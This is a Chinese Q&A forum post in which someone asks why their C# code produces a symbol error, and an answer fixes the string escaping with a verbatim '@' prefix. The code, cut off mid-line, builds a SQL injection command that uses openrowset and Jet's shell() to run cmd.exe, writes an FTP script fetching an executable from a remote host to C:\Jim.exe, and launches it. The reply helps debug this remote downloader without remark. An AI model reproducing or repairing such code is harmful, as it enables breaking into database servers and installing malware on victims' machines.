这段代码哪错了啊 提示符号错误

来源:百度知道 编辑:UC知道 时间:2024/06/24 09:46:14
cmdLine = String.Concat(cmdLine, "select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("cmd.exe /c del dbcmd.sys")');
cmdLine = String.Concat(cmdLine, "&echo open ", str4, ">dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo ", str1, ">>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo ", str2, ">>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo get ", str3, " C:\Jim.exe>>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo bye>>dbcmd.sys");
cmdLine = String.Concat(cmdLine, "&echo ftp -s:dbcmd.sys>dbcmd.bat");
cmdLine = String.Concat(cmdLine, "&echo start C:\Jim.exe>>dbcmd.bat");
cmdLine = String.Concat(cmdLine, &q

比如这行:
cmdLine = String.Concat(cmdLine, "&echo get ", str3, " C:\Jim.exe>>dbcmd.sys");
它把\J当转义字符了,你写成这样就可以了:
cmdLine = String.Concat(cmdLine, "&echo get ", str3, @" C:\Jim.exe>>dbcmd.sys");

前面加个‘@’